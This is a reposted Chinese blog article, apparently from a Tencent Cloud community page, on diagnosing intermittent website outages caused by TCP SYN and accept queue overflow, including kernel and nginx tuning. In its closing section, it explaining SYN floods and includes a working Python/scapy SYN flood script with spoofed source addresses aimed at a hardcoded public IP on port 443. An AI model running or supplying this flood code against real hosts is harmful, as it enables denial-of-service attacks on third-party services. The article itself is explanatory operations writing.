专栏首页顶级程序员记一次惊心的网站TCP队列问题排查经历

记一次惊心的网站TCP队列问题排查经历

源 | Python中文社区

问题描述:

1、监控系统发现电商网站主页及其它页面间歇性的无法访问;

2、查看安全防护和网络流量、应用系统负载均正常;

3、系统重启后,能够暂时解决,但持续一段时间后间歇性问题再次出现。

此时问题已经影响到整个网站的正常业务,我的那个心惊的呀,最主要报警系统没有任何报警,服务运行一切正常,瞬时背上的汗已经出来了。但还是要静心,来仔细寻找蛛丝马迹,来一步一步找问题。

问题初步判断:

1、检查dev 和 网卡设备层,是否有error和drop

cat /proc/net/dev 和 ifconfig,分析在硬件和系统层,未发现异常

2、观察socket overflow 和 socket droped(如果应用处理全连接队列(accept queue)过慢 socket overflow,影响半连接队列(syn queue)溢出socket dropped)

netstat -s |grep -i listen ,发现SYN socket overflow 和 socket droped 急增加。

3、检查sysctl内核参数:backlog,somaxconn,file-max 和 应用程序的backlog

ss -lnt查询,SEND-Q会取上述参数的最小值,发现当时队列已经超过网站80端口和443端口默认值

4、检查 selinux 和NetworkManager 是否启用 ,禁用状态

5、检查timestap ,reuse 启用,内核recycle是否启用,如果过NAT,禁用recycle

6、抓包判断请求进来后应用处理的情况,是否收到SYN未响应情况。

深入分析问题:

正常TCP建连接三次握手过程:

  • 第一步:客户端 发送 syn 到 服务端 发起握手;
  • 第二步:服务端 收到 syn后回复syn+ack给 客户端;
  • 第三步: 客户端 收到syn+ack后,回复 服务端 一个ack表示收到了 服务端 的syn+ack 。

从描述的情况来看,TCP建连接的时候全连接队列(accept队列)满了,尤其是描述中症状为了证明是这个原因。反复看了几次之后发现这个overflowed 一直在增加,那么可以明确的是server上全连接队列一定溢出了。

接着查看溢出后,OS怎么处理:

# cat /proc/sys/net/ipv4/tcp_abort_on_overflow

0

tcpaborton_overflow 为0表示如果三次握手第三步的时候全连接队列满了那么server扔掉client 发过来的ack(在server端认为连接还没建立起来)

为了证明客户端应用代码的异常跟全连接队列满有关系,我先把tcpaborton_overflow修改成 1,1表示第三步的时候如果全连接队列满了,server发送一个reset包给client,表示废掉这个握手过程和这个连接(本来在server端这个连接就还没建立起来)。

接着测试然后在web服务日志中异常中可以看到很多connection reset by peer的错误,到此证明客户端错误是这个原因导致的。

查看sysctl内核参数:backlog ,somaxconn,file-max 和 nginx的backlog配置参数,ss -ln取最小值,发现为128,此时resv-q已经在129 ,请求被丢弃。将上述参数修改,并进行优化:

  • linux内核参进行优化:
net.ipv4.tcp_syncookies = 1

net.ipv4.tcp_max_syn_backlog = 16384

net.core.somaxconn = 16384
  • nginx 配置参数优化: backlog=32768;

利用python 多线程压测,并未发现新的问题:

import requests

from bs4 import BeautifulSoup

from concurrent.futures import ThreadPoolExecutor

url='https://www.wuage.com/'

response=requests.get(url)

soup=BeautifulSoup(response.text,'html.parser')

with ThreadPoolExecutor(20) as ex:

    for each_a_tag in soup.find_all('a'):

        try:

            ex.submit(requests.get,each_a_tag['href'])

        except Exception as err:

            print('return error msg:'+str(err))

理解TCP握手过程中建连接的流程和队列

如上图所示,这里有两个队列:syns queue(半连接队列);accept queue(全连接队列)

三次握手中,在第一步server收到client的syn后,把相关信息放到半连接队列中,同时回复syn+ack给client(第二步);

比如syn floods 攻击就是针对半连接队列的,攻击方不停地建连接,但是建连接的时候只做第一步,第二步中攻击方收到server的syn+ack后故意扔掉什么也不做,导致server上这个队列满其它正常请求无法进来

第三步的时候server收到client的ack,如果这时全连接队列没满,那么从半连接队列拿出相关信息放入到全连接队列中,否则按tcpaborton_overflow指示的执行。

这时如果全连接队列满了并且tcpaborton_overflow是0的话,server过一段时间再次发送syn+ack给client(也就是重新走握手的第二步),如果client超时等待比较短,就很容易异常了。

SYN Flood洪水攻击

当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,导致被攻击服务器保持大量SYN_RECV状态的“半连接”,并且会重试默认5次回应第二个握手包,塞满TCP等待连接队列,资源耗尽(CPU满负荷或内存不足),让正常的业务请求连接不进来。用python实现一个SYN Flood攻击的Demo:

from concurrent.futures import ThreadPoolExecutor

from scapy.all import *

def synFlood(tgt,dPort):

    srcList = ['11.1.1.2','22.1.1.102','33.1.1.2',

               '125.130.5.199']

    for sPort in range(1024, 65535):

        index = random.randrange(4)

        ipLayer = IP(src=srcList[index], dst=tgt)

        tcpLayer = TCP(sport=sPort, dport=dPort,flags='S')

        packet = ipLayer/tcpLayer

        send(packet)



tgt = '139.196.251.198'

print(tgt)

dPort = 443



with ThreadPoolExecutor(10000000) as ex:

    try:

        ex.submit(synFlood(tgt,dPort))

    except Exception as err:

        print('return error msg:' + str(err))

所以大家要对TCP半连接队列和全连接队列的问题很容易被忽视,但是又很关键,特别是对于一些短连接应用更容易爆发、出现问题后,从网络流量、cpu、线程、负载来看都比较正常,在用户端来看rt比较高,但是从服务器端的日志看rt又很短。如何避免在出现问题时手忙脚乱,建立起应急机机制,后续有机会写一下应急方面的文章。

-END-

转载声明:本文转载自「Python中文社区」

本文分享自微信公众号 - 顶级程序员(TopCoding)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-05-14

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 一张“神图”看懂单机/集群/热备/磁盘阵列(RAID)

    今天是农历小年,顶级程序员祝大家小年夜快乐~ ? 单机部署(stand-alone):只有一个饮水机提供服务,服务只部署一份 集群部署(cluster):有多...

    顶级程序员
  • 不多掏钱 让数据库快200倍,Really?!

    这年头几乎每个人都在这样那样抱怨性能。数据库管理员和程序员不断发现自己处于这种情形:服务器遇到了瓶颈,或者查询起来没完没了,这种情况并不少见。这种郁闷对我们所...

    顶级程序员
  • 用Python模拟弹道轨迹

    转自:中国统计网(小编微信:itongjilove) ‍作者:Toby:python数据科学爱好者。国内最大药品数据中心任职,二十多个数据库负责人。 最近美国...

    顶级程序员
  • 记一次惊心的网站TCP队列问题排查经历

    作者:刘晓明,互联网公司运维技术负责人,拥有10年的互联网开发和运维经验。一直致力于运维工具的开发和运维专家服务的推进,赋能开发,提高效能。

    Python中文社区
  • 当公司倒闭时,你在干什么?

    说出来你可能不信,松哥竟然也经历过公司倒闭的事!最近看到我 GitHub 上开源的 vhr 项目 star 数即将过3k,不禁想起做这个项目时候的事,刚过去一年...

    江南一点雨
  • 如何才能像勇士队一样科学地扔三分球?

    这两年库里和他的金州勇士队让整个NBA都刮起三分雨。几乎所有的球队都开始围绕三分球布置战术,甚至连高大的中锋们都不得不跑出去扔起了三分球。“小球”风格被公认成为...

    DT数据侠
  • NBA的三分球革命:数据揭秘“三分策略是否真有效”?

    新赛季的NBA已经在本周打响了第一枪,热血的全球第一篮球联赛的热情高涨,同时高涨的还有大家对数据科技的追求。本期DT数据侠与纽约数据科学学院合作的数据专栏中,作...

    DT数据侠
  • Facebook开源强化学习平台Horizon,可大规模部署AI

    Facebook开源了Horizon,这是一个由Facebook AI研究人员,推荐系统专家和工程师创建的强化学习平台。

    AiTechYun
  • Tiled源码分析(二): 多文档支持

    逍遥剑客
  • Web自动化测试 | 充分利用浏览器记录的信息

    一切和效率提升,质量提高相关的工具/脚本都隶属于自动化的测试范围,所以这里要介绍的不是单纯的UI自动化和接口测试脚本。

    京东技术

扫码关注云+社区

领取腾讯云代金券